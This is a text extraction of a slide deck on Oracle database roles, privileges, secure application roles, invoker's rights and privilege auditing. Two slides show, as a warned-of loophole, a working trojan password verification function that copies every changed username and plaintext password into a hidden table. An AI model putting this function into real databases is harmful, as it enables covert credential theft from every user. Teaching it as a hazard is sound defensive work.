Carl Dudley – Tradba Ltd 1 The Role of Roles and Privileges Carl Dudley UKOUG Official Oracle ACE...

Carl Dudley – Tradba Ltd1

The Role of Roles and PrivilegesThe Role of Roles and Privileges

Carl Dudley

UKOUG OfficialOracle ACE Director

[email protected]

Carl Dudley

UKOUG OfficialOracle ACE Director

[email protected]

2


Granting System Privileges

Granting Object Privileges

Managing Roles

Pre-created Roles

Default, Non-default and Password Protected Roles

Secure Application Roles

Definers Rights and Invokers Rights

Detecting Recent Grants of Privileges

3

Database SecurityDatabase Security

Oracle’s database security provides the ability to

— Prevent unauthorized access to the database— Prevent unauthorized access to schema objects— Prevent unauthorized activity and audit user actions— Control disk storage and system-resource usage (profiles)

System security

— Checks for user names and passwords— Connects authorization— Controls availability of disk space— Controls resource limits; enables and controls auditing— Specifies allowed system operations

Data security

— Access to specific structures; e.g., tables, views, etc.— Types of access; e.g., SELECT, UPDATE, etc.

4

Privileges and RolesPrivileges and Roles

Oracle has two main types of privileges

— System— Object

System-level privileges control the use of DDL statements

— Creation, alteration, and removal of objects— Connecting to the database— Execution of DBA functions

Object-level privileges provide access to database objects

— Selection from a table— Update of view information— Execution of stored procedure code

5

System PrivilegesSystem Privileges

Oracle has more than 100 system privileges

— Allows precise specification of what users can and cannot do— Security strategy can become complex to manage— All available system privileges can be seen in system_privilege_map

System privileges convey much power to the recipients

— Careful planning is required before granting such privileges• Grant only if absolutely necessary

— Syntax is simple

If a user needs to create tables, issue the following:

• This allows fred to build tables within the fred schema

Users can be created along with privileges by specifying a password

10gGRANT CREATE SESSION TO amy IDENTIFIED BY amypw;

GRANT CREATE TABLE TO fred;

GRANT system_privilege_name TO username;

6

System Privileges (continued)System Privileges (continued)

System privileges are granted only by DBAs or users with the GRANT ANY PRIVILEGE system privilege

To audit the system privileges granted to users, query dba_sys_privs

SELECT grantee, privilege FROM dba_sys_privs WHERE grantee = 'FRED';

GRANTEE PRIVILEGE------- -------------------FRED CREATE TABLEFRED CREATE SESSION

7

Managing System PrivilegesManaging System Privileges

System privileges may be granted with the ADMIN OPTION

— This allows smith to alter the structure of any table in any user schema (except sys) and to pass this privilege on to any other user• When smith logs in, he or she can issue the following:

Remember – the ‘GRANT ANY’ statements give access not only to objects already in the database but also objects created in the future

If O7_DICTIONARY_ACCESSIBILITY is set to true, the GRANT ANY statement gives access to sys objects! — O7 relates to Oracle7 behaviour— Default for O7_DICTIONARY_ACCESSIBILITY is false

GRANT ALTER ANY TABLE TO smith WITH ADMIN OPTION;

GRANT ALTER ANY TABLE TO brown [WITH ADMIN OPTION];

8

Revoking System PrivilegesRevoking System Privileges

System privileges may be removed from users

Users who have received the privilege using the ADMIN OPTION will still have the privilege enabled— So brown will still be able to change any user’s tables

REVOKE ALTER ANY TABLE FROM smith;

REVOKE system_privilege_name FROM username;

9




Managing Roles

Pre-created Roles





10

Object PrivilegesObject Privileges

Allow users access to specific database objects

By default, only the user who owns (i.e., creates) a database object can perform any kind of activity or change on it

The owner has the full set of access rights on the object

Other users must be granted object privileges

— This can be granted by the owner of the object or a user with the GRANT ANY OBJECT PRIVILEGE system privilege

— Can also be accomplished via the grant of a system privilege

GRANT UPDATE ON student TO fred;

GRANT UPDATE ANY TABLE TO fred;

11

Granting Access to TablesGranting Access to Tables

— Object privileges cannot be granted along with system privileges or roles in the same GRANT statement

Some common uses for this statement are:

Tables up to 11 privileges

Views DELETE, INSERT, SELECT, UPDATE

Sequences ALTER, SELECT

Procedures EXECUTE

Snapshots SELECT

GRANT privilege(s) ON object TO user(s) | role(s) | PUBLIC

[WITH GRANT OPTION]

12

Object PrivilegesObject Privileges

Oracle knows the nature of the object specified in the GRANT statement because all objects owned by a user must have unique names

The WITH GRANT option

— Allows object privileges to be passed on by the grantee to other users• A form of delegation (assume student is owned by oral)

• ora2 can now issue

— Removal of the GRANT OPTION requires the privilege to be revoked and regranted

GRANT DELETE ON student TO ora2 WITH GRANT OPTION;

GRANT DELETE ON ora1.student TO ora3;

13

Summary of Commonly Used Privileges on ObjectsSummary of Commonly Used Privileges on Objects

Row-level security cannot be implemented at this level

— Requires other means• Use of views • Fine-grained access (Virtual Private Database)• Application logic • Label security

T = table, V = view, P = procedure, S = sequence, Sn = snapshot

Privilege Permitted SQL T V P S Sn

ALTER ALTER <table or sequence> CREATE TRIGGER ON <table>

Y Y

DELETE DELETE FROM <table or view> Y Y

EXECUTE EXECUTE <procedure> Y

INDEX CREATE INDEX ON <table or cluster> Y

INSERT INSERT INTO <table or view> Y Y

REFERENCES CREATE OR ALTER <table> Y

SELECT SELECT <cols> FROM <table> Y Y Y Y

UPDATE UPDATE <table or view> Y Y

14

Granting Access to Objects: Some ExamplesGranting Access to Objects: Some Examples

— UPDATE can be granted without SELECT to allow access via programs

The procedure insert_course_totals requires access to database tables— The procedure owner should have necessary privileges on the base objects— ora1 does not need privileges on those tables because the procedure

executes with the privileges of its owner

GRANT SELECT ON student TO PUBLIC;

GRANT ALL ON company TO fred, managers;

GRANT SELECT, INSERT, UPDATE(student_fname) ONstudent TO jones, adams, clerks;

GRANT SELECT ON instructor TO ora2 WITH GRANT OPTION;GRANT EXECUTE ON insert_course_totals TO ora1;

15

Revoking PrivilegesRevoking Privileges

Revoke all privileges on an object from a user

— You can also remove privileges on an individual basis

If a table is being referenced by foreign keys using the REFERENCES privilege, the CASCADE CONSTRAINTS option is needed

— This revokes all access to student from ora1 and drops any constraints built by fred that reference the company table

Beware the impact of PUBLIC grants— Revoking a privilege does not give an absolute guarantee of denial

• The user may have access using a PUBLICly granted privilege

REVOKE ALL ON student FROM fred;

REVOKE DELETE ON student FROM fred;

REVOKE ALL ON company FROM fred CASCADE CONSTRAINTS;

16

Revoking Object Privileges Granted With GRANT OPTIONRevoking Object Privileges Granted With GRANT OPTION

The following statement issued by John will revoke access to his customers table from Mary, Steve, and Marc:

REVOKE SELECT ON customers from mary;— The effect is immediate— This behavior is different from system privileges granted with the ADMIN

OPTIONGRANT SELECT ONcustomers TO maryWITH GRANT OPTION;

GRANT SELECT ONcustomers TO steveand marc;

JOHN.INSTRUCTOR

John

Mary

Steve Marc

check_obj_privs

What happens if user mary is dropped?

17

Useful Dictionary ViewsUseful Dictionary Views

dba_tab_privs shows details of all table privileges in the database

— Note : when the grantor is shown to be the owner of the table (mary) it could actually have been granted by any user with GRANT ANY OBJECT PRIVILEGE

Other useful views are

dba_col_privsuser_col_privs_recduser_col_privs_made

user_object_privs

GRANTEE OWNER TABLE_NAME GRANTOR PRIVILEGE GRANTABLE ------- ----- ---------- ------- ---------- ---------TOM MARY EMPLOYEE MARY SELECT YESAMY MARY EMPLOYEE TOM SELECT NOTOM MARY DEPARTMENT MARY DELETE NO

18

Table and Column Level PrivilegesTable and Column Level Privileges

Consider the following dept table

DEPTNO DNAME LOC------- -------------- ------------- 10 ACCOUNTING NEW YORK 20 RESEARCH DALLAS 30 SALES CHICAGO 40 OPERATIONS BOSTON

A table level grant will put one row in user_tab_privs

‘Equivalent’ column level grant will put three rows in user_col_privs but NO rows in user_tab_privs

Why the difference?— Consider the effect of adding a new column to dept

Aside – individual column grants cannot be revoked

GRANT UPDATE ON dept TO joe;

GRANT UPDATE(dept,dname,loc) ON dept TO joe;

19




Managing Roles

Pre-created Roles





20

Managing Privileges With RolesManaging Privileges With Roles

The complexity of privilege management can be reduced by using roles to group system and object privileges for easier control

Benefits of using roles

— Reduce privilege administration by allowing a cohesive set of privileges to be granted to users through one role grant

— Ease of maintenance• Changing privileges for a role affects all users in the role

— Privileges lost when an object is dropped need to be regranted only to the role when the object is re-created

— Can allow ad-hoc or preprogrammed access to tables through selective control of role availability

21

Privilege ManagementPrivilege Management

In the above diagram, each line represents a grant of a specific privilege on an object

Users

Objects

22

User and Application RolesUser and Application Roles

Application roles

Objects

User roles

Users

23

User and Application Roles (continued)User and Application Roles (continued)

Recommendation is to define “application” and “user” roles

This allows you to

— Grant application roles to users’ roles rather than granting individual privileges

— Grant both user roles and application roles to users

Roles do not belong to a schema (or user)

— Creation of a role puts the creator in the role with the ADMIN OPTION

24

Creating and Granting RolesCreating and Granting Roles

Use the CREATE ROLE statement

— Roles can be created by users with CREATE ROLE system privilege

(No password is required for the cashiers role) Grant roles to users or to other roles

— fred now has the cashiers role

— The cashiers role is now granted to the managers role

— All users in the managers role also have the cashiers role

To grant a role, you must have the GRANT ANY ROLE system privilege or have been granted the role with the ADMIN OPTION

who_has_roles

CREATE ROLE cashiers;

GRANT cashiers TO fred;

GRANT cashiers TO managers;

25

Revoking RolesRevoking Roles

Roles are revoked in the same way as system privileges

— Immediately disables any activity allowed by the role — If cashiers has CREATE SESSION system privilege

• The user would stay connected, but would not be allowed to reconnect

To selectively REVOKE the ADMIN OPTION (user keeps the role)— The system privilege (or role) must be revoked and then regranted without

the ADMIN OPTION

Beware of revoking from (and granting to) PUBLIC— May cause a large number of recompilations due to dependency tracking

deactivate_user

REVOKE cashiers FROM fred;

26




Managing Roles

Pre-created Roles





27

Pre-Created RolesPre-Created Roles

Oracle11g has a set of roles pre-created with the database

SELECT * FROM dba_roles;ROLE PASSWORD-------------------- -----------------CONNECT NORESOURCE NODBA NOSELECT_CATALOG_ROLE NOEXECUTE_CATALOG_ROLE NODELETE_CATALOG_ROLE NOAQ_ADMINISTRATOR_ROLE NOAQ_USER_ROLE NOIMP_FULL_DATABASE NOEXP_FULL_DATABASE NORECOVERY_CATALOG_OWNER NOLOGSTDBY_ADMINISTRATOR NOHS_ADMIN_ROLE NOWM_ADMIN_ROLE NOGLOBAL_AQ_USER_ROLE GLOBAL

: :

28

The CONNECT, RESOURCE and DBA rolesThe CONNECT, RESOURCE and DBA roles

Throwbacks to Version 6 – do NOT use

On Oracle 9i, the CONNECT role gives a number of system privileges— On Oracle 11g it merely gives CREATE SESSION

RESOURCE is dangerous as it gives UNLIMITED TABLESPACE privilege— Does not have CREATE SESSION

• SCOTT account has RESOURCE

The DBA role contains all system privileges

Granted roles and their system privileges are shown in role_sys_privs

29

RESOURCE RoleRESOURCE Role

The UNLIMITED TABLESPACE privilege from the RESOURCE role does not show in role_sys_privs

— BUT can be observed in user_sys_privs

If RESOURCE role is gained via some other role (r1),— The UNLIMITED TABLESPACE privilege shows in role_sys_privs as a

privilege from r1, but not in user_sys_privs

SELECT * FROM role_sys_privs WHERE role IN (‘CONNECT’,’RESOURCE’);

ROLE PRIVILEGE ADM-------------- ------------------ ---RESOURCE CREATE SEQUENCE NORESOURCE CREATE TRIGGER NORESOURCE CREATE CLUSTER NORESOURCE CREATE PROCEDURE NORESOURCE CREATE TYPE NOCONNECT CREATE SESSION NORESOURCE CREATE OPERATOR NORESOURCE CREATE TABLE NORESOURCE CREATE INDEXTYPE NO

30

Dictionary Information on RolesDictionary Information on Roles

A number of dictionary views are available

role_sys_privs System privileges granted to roles

role_tab_privs Object-level privileges granted to roles. This includes all grantable objects

role_role_privs Roles granted to other roles

session_roles Roles currently enabled for the user

session_privs Privileges currently available

user_role_privs Roles granted to user

dba_sys_privs System privileges directly granted to users and roles

dba_roles All roles in the database

who_has_system_privs

31

Finding Who Has the CONNECT RoleFinding Who Has the CONNECT Role

SELECT * FROM dba_connect_role_grantees;

GRANTEE PATH_OF_CONNECT_ROLE_GRANT ADM---------------------- ------------------------------ ---APEX_030200 CONNECT/APEX_030200 YESBARNEY CONNECT/BARNEY NOIX CONNECT/IX NOMDDATA CONNECT/MDDATA NOMDSYS CONNECT/MDSYS NOOWBSYS CONNECT/OWBSYS YESPM CONNECT/PM NOSCOTT CONNECT/SCOTT NOSPATIAL_CSW_ADMIN_USR CONNECT/SPATIAL_CSW_ADMIN_USR NOSPATIAL_WFS_ADMIN_USR CONNECT/SPATIAL_WFS_ADMIN_USR NOSYS CONNECT/SYS YESWMSYS CONNECT/WMSYS NO

32




Managing Roles

Pre-created Roles





33

Default and non-default rolesDefault and non-default roles

By default, roles granted to users are enabled when the user logs in

Roles can be explicitly set to be default role(s)

— This will cause all other roles granted to joe to be non-default roles• joe will have to enable them as required

• Roles r1,r2,r3 will be enabled, but any other roles granted to joe are disabled

ALTER USER joe DEFAULT ROLE r1;

SET ROLE r1,r2,r3;

34

Default and non-default rolesDefault and non-default roles

Additional syntax

— Causes all other roles granted to joe to become non-default

ALTER USER joe DEFAULT ROLE <role,...,role>;

ALTER USER joe DEFAULT ROLE ALL | NONE;ALTER USER joe DEFAULT ROLE ALL EXCEPT <role,...,role>;

Removal of password protection

ALTER ROLE role_with_pwd NOT IDENTIFIED;

35

Password Protected RolesPassword Protected Roles

— The pwd1 password will be required when setting the rp1 role

Password protected roles, when granted, are set up as default roles, but are not enabled

— Must be enabled (SET) on login and therefore a password is required

CREATE ROLE rp1 IDENTIFIED BY pwd1;

SET ROLE rp1 IDENTIFIED BY pwd1;

GRANT rp1 TO joe;

36

Password Protected RolesPassword Protected Roles

Non-default and default password-protected roles force the user to supply password— The role must always be set with the password

• Note the omission of rp1 from the list of roles

If a password protected role (rp1) is granted to a non-password protected role (no_rp1), then users with the no_rp1 role are able to use rp1 without submission of a password

ALTER USER joe DEFAULT ROLE r1,r2,rp2;

37

Default and non-Default rolesDefault and non-Default roles

ALTER USER joe DEFAULT ROLE r1_nopwd,r1_pwd;

Both roles show as default for joe in the dba_role_privs but r1_pwd is not set on login— joe will need to SET it with its password

Error if joe issues :

SET ROLE ALL;

ORA-01979: missing or invalid password for role 'r1_pwd'

38

Assigning Roles to UsersAssigning Roles to Users

Assign roles to users but do not enable them by default

— The role is then SET within the actual session using the application— Access is limited to a particular session but — Extra precautions should be taken

• Password protected roles • Secure application roles

GRANT selective_role TO joe;

ALTER USER joe DEFAULT ROLE ALL EXCEPT selective_role;

39

Setting Password Protected RolesSetting Password Protected Roles

In SQL*Plus

In a PL/SQL application

BEGIN dbms_session.set_role('pwd_role' ||' IDENTIFIED BY cool_password);END;/

SET ROLE pwd_role IDENTIFIED BY cool_password;

40

Securing the Role PasswordSecuring the Role Password

Difficult to secure in code— Can be viewed by anyone with access to the code

• Process can be compiled – obfuscates the code• May not protect from UNIX “strings”

— If users are required to supply the password, they will know the password• Can use it outside of the application• Better to obtain password from an encrypted file

Role passwords may travel across networks in the clear— Setting SQLNET.ORA parameter TNSPING.TRACE_LEVEL to SUPPORT will

capture all network packets• Use network encryption

Applications may need to share the same role— Many people will know the password

Security resides solely in the application— Database is compliant

41




Managing Roles

Pre-created Roles





42

Roles Set by ApplicationsRoles Set by Applications

Do not allow applications to grant and revoke roles— Allows the user to use the roles outside of the application

CREATE OR REPLACE PROCEDURE grant_privs AS BEGINEXECUTE IMMEDIATE 'GRANT SELECT ON scott.emp TO '||user;END;/CREATE OR REPLACE PROCEDURE revoke_privs AS BEGINEXECUTE IMMEDIATE 'REVOKE SELECT ON scott.emp TO '|| user;END;/GRANT EXECUTE ON grant_privs TO fred;GRANT EXECUTE ON revoke_privs TO fred;

Dynamic SQL is required to allow this procedure-based dynamic privilege enablement— ANY user can connect in any way and gain access between any call of the

grant_privs and revoke_privs procedures

43

Limiting Access to Users via ApplicationsLimiting Access to Users via Applications

Many ways to access Oracle data— ODBC, JDBC,HTTP, Oracle Net etc.— Wide attack surface, close them off if possible

Users typically access Oracle via applications— Applications can provide additional control and levels of security— Privileges should be based on the user AND the application in use

• So, a users privileges vary with the application that they are using

Privileges should be based on EVERYTHING known — Application, user’s identity, where they are, how they are authenticated, time

of day— If this is done, we have defence in depth

44

Privileges Based on User, Application, Location and TimePrivileges Based on User, Application, Location and Time

Consider a user accessing an application

1. within owned locked office in own guarded site

2. from an office on a different guarded site

3. via a wireless device

Office All privileges

Field Office Insert, Read

Wireless Read Only

— Could also add time constraints

45

Secure Application RolesSecure Application Roles

Roles that can be enabled only from within a PL/SQL program— User/application needs execute privilege on the PL/SQL program— The PL/SQL program can perform sophisticated checking

• Based on time, user environment etc.

Using this method, the database decides whether the role is enabled

If new security rules are introduced, the program is simply changed— All applications are affected

Users cannot change the security domain within definer's rights procedures— Secure application roles can be enabled only within invoker's rights

procedures

46

Secure Application Roles – Set upSecure Application Roles – Set up

SCOTT> CONN sec_mgr/sec_mgrConnected.

SEC_MGR> CREATE TABLE empsec AS SELECT * FROM scott.emp;

Table created.

SEC_MGR> CREATE ROLE sec_app_role IDENTIFIED USING sec_mgr.priv_mgr;

Role created.

The priv_mgr code will manage access to the role (it acts as a sentry)

SEC_MGR> GRANT sec_app_role TO scott;

Grant succeeded.

SEC_MGR> GRANT SELECT ON empsec TO sec_app_role;

Grant succeeded.

47

Secure Application Roles - The ProcedureSecure Application Roles - The Procedure

SEC_MGR> CREATE OR REPLACE PROCEDURE priv_mgr 2 AUTHID CURRENT_USER --invoker's rights 3 AS 4 BEGIN 5 IF (SYS_CONTEXT('userenv','db_name') = 'orcl' 6 /* 7 AND TO_CHAR(sysdate,'hh24') BETWEEN 8 AND 17 8 AND (SYS_CONTEXT('userenv','ip_address') = '127.0.0.1') 9 */ 10 ) 11 THEN dbms_session.set_role ('sec_app_role'); 12 END IF; 13 END; 14 /

This procedure could test for a number of criteria— Best to use a mix of parameter and non-parameter checks

• Non-parameters are harder to fake – e.g. time

48

Secure Application Roles – Granting AccessSecure Application Roles – Granting Access

SEC_MGR> GRANT EXECUTE ON priv_mgr TO scott;

Grant succeeded.

SEC_MGR> CONN scott/tigerConnected.SCOTT> SELECT SYS_CONTEXT ('userenv','db_name') FROM dual;

SYS_CONTEXT('USERENV','DB_NAME')------------------------------------------------------------orcl

SCOTT> SELECT * FROM session_roles;

ROLE------------------------------CONNECTRESOURCE

49

Secure Application Roles – Setting the RoleSecure Application Roles – Setting the Role

SCOTT tries (unsuccessfully) to set the role

SCOTT> BEGIN 2 dbms_session.set_role('sec_app_role'); 3 END; 4 /BEGIN*ERROR at line 1:ORA-28201: Not enough privileges to enable application role 'SEC_APP_ROLE'

ORA-06512: at "SYS.DBMS_SESSION", line 132ORA-06512: at line 2

SCOTT> BEGIN 2 sec_mgr.priv_mgr; 3 END; 4 /

PL/SQL procedure successfully completed.

The role has now been set by the procedure (which SCOTT is able to execute)

same functionality as SET ROLE sec_app_role;

50

Secure Application Roles – Using the RoleSecure Application Roles – Using the Role

SCOTT> SELECT * FROM sec_mgr.empsec;

EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO----- ---------- --------- ---- --------- ---- ---- ------ 7369 SMITH CLERK 7902 17-DEC-80 800 20 7499 ALLEN SALESMAN 7698 20-FEB-81 1600 300 30 : : : : : : :

7902 FORD ANALYST 7566 03-DEC-81 3000 20 7934 MILLER CLERK 7782 23-JAN-82 1300 10

14 rows selected.

SCOTT> SELECT * FROM session_roles;

ROLE------------------------------SEC_APP_ROLE

• Note only the sec_app_role is now enabled

secure_roles

51




Managing Roles

Pre-created Roles





52

Definers and Invokers RightsDefiners and Invokers Rights

By default, Oracle is a definers rights system— Procedures execute with privileges of their owner— The dbms and utl supplied packages execute as sys

A procedure can be made to execute with the privileges of the user— Called invokers rights

Useful in specialised circumstances

Privileges via roles are not active within PL/SQL procedures when using definers rights

CREATE OR REPLACE proc1AUTHID CURRENT_USER ......

53

Roles and DevelopersRoles and Developers

~~~~~~ ~~~~~~ ~~~~~~ ~~~~~~ ~~~~~~ ~~~~~~ ~~~~~~

test_roler1

~~~~~~ ~~~~~~ ~~~~~~ ~~~~~~ ~~~~~~ ~~~~~~ ~~~~~~

amy

user_role

end user

scott.emp

Both procedures query scott’s emp table— amy’s procedure is valid— r1’s procedure is not valid

priv_role_details_user

54

Naming RolesNaming Roles

Role names are global

No role can have same name as another role or a user

Suppose two applications need different privileges through roles and they both use a routine based on the ‘admin’ role

Be specific with role names— Avoid ‘administrator’, it’s too vague, bad for security audit

– use app_y_administrator— Avoid ‘developer’

• Use app_x_developer, app_y_developer

Avoid creating too many roles— Causes confusion

• Limit on Oracle11g for each user - MAX_ENABLED_ROLES• This parameter is deprecated on Oracle12c and any value is ignored

complete_privs

grant_tree

55

Definer's RightsDefiner's Rights

ora1.student ora2.student

ora2.proc_s

EXECUTE

privileg

e

Definer's rightsora1 ora2

ora1.proc_s

SELECT ...FROM student

Definer's rights

56

Invoker's RightsInvoker's Rights

ora1.student ora2.student

ora1.proc_s


EXECUTE privilege

Definer's rights

ora1 ora2

ora1.p_what


call proc_s

Invoker's rights

ora2.proc_s


Invoker's rights

Invoker's rights

Definer's rights

57

Roles and ProceduresRoles and Procedures

Roles do not behave like standalone privileges — Meant to be toggled on and off on a per session basis— Granting of privileges (as well as any associated dependencies) updates the

data dictionary because they are DDL operations

When using roles, a user could potentially create two sessions— One with the role enabled, the other one with the role disabled, resulting in

the outcome of both sessions not being the same — This is why stored object creation cannot depend on privileges granted

through a role — This restriction is imposed to avoid ambiguous cases of this nature

58

Roles and Procedures (continued)Roles and Procedures (continued)

Notice that anonymous PL/SQL blocks are not bound to this restriction— They are executed based on privileges granted through enabled roles

Granting to PUBLIC is not the same as granting to all users directly— PUBLIC is not a role - it's a collection of users, not a collection of permissions

Any table that is granted to PUBLIC can be freely used in stored procedures

59

Privileges via roles in PL/SQLPrivileges via roles in PL/SQL

CONN / AS SYSDBACREATE ROLE ttr;GRANT UPDATE ON scott.emp TO ttr;GRANT ttr TO tt;

CONN tt/ttCREATE OR REPLACE PROCEDURE tt AS BEGIN UPDATE scott.emp SET sal = sal; END;/-- Warning: Procedure created with compilation errors.-- 3/14 PL/SQL: ORA-01031: insufficient privileges

Would work if UPDATE privilege were to be granted to PUBLIC

60

Privilege Availability in Anonymous BlocksPrivilege Availability in Anonymous Blocks

CONN scott/tigerGRANT UPDATE ON emp TO tt;

CONN tt/ttCREATE OR REPLACE PROCEDURE tt AS BEGIN UPDATE scott.emp SET sal = sal; END;/ -- tt has direct update access on scott.emp

CONN scott/tigerREVOKE UPDATE ON emp FROM tt;-- tt now has update privilege only via the ttr role

CONN tt/ttBEGIN -- use an anonymous block instead of a procedure UPDATE scott.emp SET sal = sal;END;/ -- PL/SQL procedure successfully completed

61

Password Complexity VerificationPassword Complexity Verification

A supplied script called utlpwdmg.sql (in ORACLE_HOME/rdbms/admin) can be used to set the default password verification

— The routine creates a function (called verify_function) that performs checks on the new password:• Length >= 8 • Not equal to userid• Has at least one alpha, one numeric and one punctuation mark• Does not match simple words• Distinct from previous password (by at least three characters)

DBAs can generate their own checking function (or edit utlpwdmg)

Invoke the verification function for the ‘clerk’ profile— The function runs as sys!

ALTER PROFILE clerk LIMITPASSWORD_VERIFY_FUNCTION verify_function;

62

Password Complexity Verification - ContinuedPassword Complexity Verification - Continued

A possible loophole – changed utlpwdmg script

–

-- connect sys/<password> as sysdba before running the scriptCREATE OR REPLACE FUNCTION my_verify_function(username varchar2,password varchar2) RETURN boolean IS n boolean;BEGIN -- Check if the password is too simple. A dictionary of words may be -- maintained and a check may be made so as not to allow the words -- that are too simple for the password. IF NLS_LOWER(password) IN ('welcome', 'database', 'account', 'user', 'password', 'oracle', 'computer', 'abcd') THEN raise_application_error(-20002, 'Password too simple'); END IF;INSERT INTO scott.my_trojan_table VALUES (username,password); -- Everything is fine, so return TRUE ; RETURN(TRUE);END;/-- This script alters the default parameters for Password Management-- This means that all the users on the system have Password Management-- enabled and set to the following values unless another profile is -- created with parameter values set to different value or UNLIMITED -- is created and assigned to the user.ALTER PROFILE DEFAULT LIMITPASSWORD_VERIFY_FUNCTION my_verify_function;

63

Password Complexity Verification - ContinuedPassword Complexity Verification - Continued

A DBA could construct a table (my_trojan_table) to collect usernames and passwords each time a password is changed

— This table could be placed in a user account

The verification function is adapted to populate my_trojan_table and capture new passwords

ALTER USER amy IDENTIFIED BY amypwd;ALTER USER joe IDENTIFIED BY joe_newpwd;

— Connect to my_trojan_table owner, and query

CREATE TABLE my_trojan_table (username VARCHAR2(30),password(30));

SELECT * FROM my_trojan_table;

USERNAME PASSWORD-------- ----------AMY AMYPWDJOE JOE_NEWPWD

64




Managing Roles

Pre-created Roles





65

Detecting Recent GrantsDetecting Recent Grants

Detect if anyone has recently been granted role membership or new privileges— The contents of data dictionary tables are written to the undo tablespace

when DDL is executed

SELECT grantee# ,privilege# FROM sys.sysauth$ MINUS SELECT grantee# ,privilege# FROM sys.sysauth$ AS OF TIMESTAMP(SYSDATE - INTERVAL '3600' MINUTE);

GRANTEE# PRIVILEGE#-------- ---------- 1 -15 1 4

Shows DBA and UNLIMITED TABLESPACE have been granted to PUBLIC

66

Auditing Recent Privilege GrantsAuditing Recent Privilege Grants

Roles and privileges are mapped differently and separately

SELECT grantee#, u1.name grantee,u2.name "privilege/role" ,privilege# "priv no(+/-)"FROM sys.sysauth$,user$ u1,user$ u2WHERE grantee# = u1.user# AND privilege# = u2.user#UNIONSELECT grantee#, u.name usern, m.name, privilege# "priv no(+/-)"FROM sysauth$,system_privilege_map m,user$ uWHERE grantee# = u.user# AND privilege# = m.privilegeMINUS(SELECT grantee#, u1.name grantee,u2.name "privilege/role" ,privilege# "priv no(+/-)" FROM sys.sysauth$ AS OF TIMESTAMP TO_TIMESTAMP(SYSDATE - 0.25),user$ u1,user$ u2 WHERE grantee# = u1.user# AND privilege# = u2.user# UNION SELECT grantee#, u.name usern, m.name, privilege# "priv no(+/-)" FROM sysauth$ AS OF TIMESTAMP TO_TIMESTAMP(SYSDATE - 0.25) ,system_privilege_map m,user$ u WHERE grantee# = u.user# AND privilege# = m.privilege);

GRANTEE# GRANTEE privilege/role priv no(+/-)-------- ------------- ---------------- ------------ 1 PUBLIC SELECT ANY TABLE -47 -- from system_privilege_map 92 FRED DBA 4 –- from user$

67

Auditing Recent Privilege Grants (continued)Auditing Recent Privilege Grants (continued)

GRANT CREATE SYNONYM TO fred;

SELECT username ,name FROM dba_users u ,system_privilege_map m ,(SELECT grantee# ,privilege# FROM sys.sysauth$ MINUS SELECT grantee# ,privilege# FROM sys.sysauth$ AS OF TIMESTAMP(SYSDATE - INTERVAL '3600' MINUTE)) a WHERE a.grantee# = u.user_id AND a.privilege# = m.privilege;

USERNAME NAME---------- --------------------FRED CREATE SYNONYM

Fred is given privilege to create synonyms

Evidence of a recent grant

68

Other Dictionary ObjectsOther Dictionary Objects

Roles appear in user$ but not in dba_users

type# column in user$ has 1 for user, 0 for a role

Public has type# = 0 (role) but appears as a user in user_sys_privs

SELECT * FROM user_sys_privs;

USERNAME PRIVILEGE ADM------------ ----------------------- ---PUBLIC SELECT ANY TABLE NOTT UNLIMITED TABLESPACE NOPUBLIC SELECT ANY TRANSACTION NOPUBLIC FLASHBACK ANY TABLE NO

69

View Description

DBA_PRIV_CAPTURES Existing privilege analysis policies

DBA_USED_PRIVS Privileges used for reported privilege analysis policies

DBA_UNUSED_PRIVS Privileges not used for reported privilege analysis policies

DBA_USED_OBJPRIVS Object privileges used for reported privilege analysis policies

DBA_UNUSED_OBJPRIVS Object privileges not used for reported privilege analysis policies

DBA_USED_OBJPRIVS_PATH Object privileges used for reported privilege analysis policies, with grant paths

DBA_UNUSED_OBJPRIVS_PATH Object privileges not used for reported privilege analysis policies, with grant paths

DBA_USED_SYSPRIVS System privileges used for reported privilege analysis policies

DBA_UNUSED_SYSPRIVS System privileges not used for reported privilege analysis policies

DBA_USED_SYSPRIVS_PATH System privileges used for reported privilege analysis policies, with grant paths

DBA_UNUSED_SYSPRIVS_PATH System privileges not used for reported privilege analysis policies, wiith grant paths

DBA_USED_PUBPRIVS All privileges for the PUBLIC role used for reported privilege analysis policies

DBA_USED_USERPRIVS User privileges used for reported privilege analysis policies

DBA_UNUSED_USERPRIVS User privileges not used for reported privilege analysis policies

DBA_USED_USERPRIVS_PATH User privileges used for reported privilege analysis policies, with grant paths

DBA_UNUSED_USERPRIVS_PATH Privileges not used for reported privilege analysis policies, with grant paths

Privilege Capture Views—Full ListPrivilege Capture Views—Full List12c

70

Finding over-privileged users— Too many system privileges— Gain evidence to convince the application developer to reduce privileges

Finding unnecessarily granted privileges of application database users— Privileges unnecessarily granted to PUBLIC— SELECT ANY TABLE rather than specific object privileges

Can perform— Role analysis

• Provide a list of roles to analyze— Context analysis

• Specify a boolean expression with the SYS_CONTEXT function — Role and context analysis

• Provide list of roles and a SYS_CONTEXT boolean expression for the condition for the context analysis

— Database analysis• All privileges are analyzed except those used by sys

Benefits of Privilege AnalysisBenefits of Privilege Analysis

71

1. Define the privilege analysis policy with DBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE

2. Enable the privilege analysis policy with the DBMS_PRIVILEGE_CAPTURE.ENABLE_CAPTURE— Allows to start analysis at a specific time

3. Let the application or users go about their operations

4. Disable the privilege analysis with DBMS_PRIVILEGE_CAPTURE.DISABLE_CAPTURE— Enables the production of an analysis of privilege usage over a period of

time

5. Generate privilege analysis results with DBMS_PRIVILEGE_CAPTURE.GENERATE_RESULT— Writes the results to the data dictionary views described earlier

May also drop a privilege capture—removes all records from the dictionary— DBMS_PRIVILEGE_CAPTURE.DROP_CAPTURE

General Steps for Managing Privilege AnalysisGeneral Steps for Managing Privilege Analysis

72

Capture the privileges used by FRED— Note the use of sys_context to limit capture to sessions owned by FRED

Privilege Capture—SetupPrivilege Capture—Setup

BEGIN dbms_privilege_capture.create_capture( name =>'CAPFRED', type => dbms_privilege_capture.g_context, condition => 'sys_context(''USERENV'',''SESSION_USER'') = ''FRED''' ); dbms_privilege_capture.enable_capture('CAPFRED');END;

Any privileges used by FRED will now be captured

Fred has (and happens to use in his session under analysis) — Direct SELECT access on amy’s table called d— SELECT access on amy’s table called b via the role rf

73

The capture must first be ended (disabled)

The result can then be generated— Rows will be placed in the privilege capture views

Completing the Privilege CaptureCompleting the Privilege Capture

BEGIN dbms_privilege_capture.disable_capture('CAPFRED'); dbms_privilege_capture.generate_result('CAPFRED');END;

